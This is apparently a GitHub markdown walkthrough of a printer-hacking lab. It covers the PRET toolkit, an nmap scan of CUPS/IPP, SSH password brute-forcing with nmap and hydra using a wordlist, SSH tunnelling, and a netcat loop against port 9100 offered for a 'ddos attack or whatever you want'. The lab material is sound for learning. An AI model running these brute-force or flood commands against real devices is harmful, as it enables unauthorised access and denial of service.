Skip to content

Latest commit

 

History

History
69 lines (42 loc) · 1.8 KB

printerhacking101.md

File metadata and controls

69 lines (42 loc) · 1.8 KB

Learn about (and get hands on with) printer hacking and understand the basics of IPP.

Prepare

install this toolkit to exploit local network printer

git clone https://github.com/RUB-NDS/PRET && cd PRET
python2 -m pip install colorama pysnmP

automatic printer discovery

python pret.py

Scanning

scan the machine

nmap -sS -T4 10.10.103.120

image

i found 2 services are ipp and ssh

HTTP

CUPS open source print server uses IPP protocol for print management

image

In tab printers, you can see list of printers

image

click on that printer, you can see size of a test sheet

image

Exploitation

brute force the password using nmap to know username printer and hydra to password

nmap 10.10.103.120 -p 22 --script ssh-brute --script-args userdb=user.txt
hydra -l printer -P /usr/share/wordlists/rockyou.txt ssh://10.10.103.120

image

then connect ssh to machine through a tunnel

ssh [email protected] -T -L 3631:localhost:631

image

now you can using cheatsheet to do a ddos attack or whatever you want

while true; do nc printer 9100; done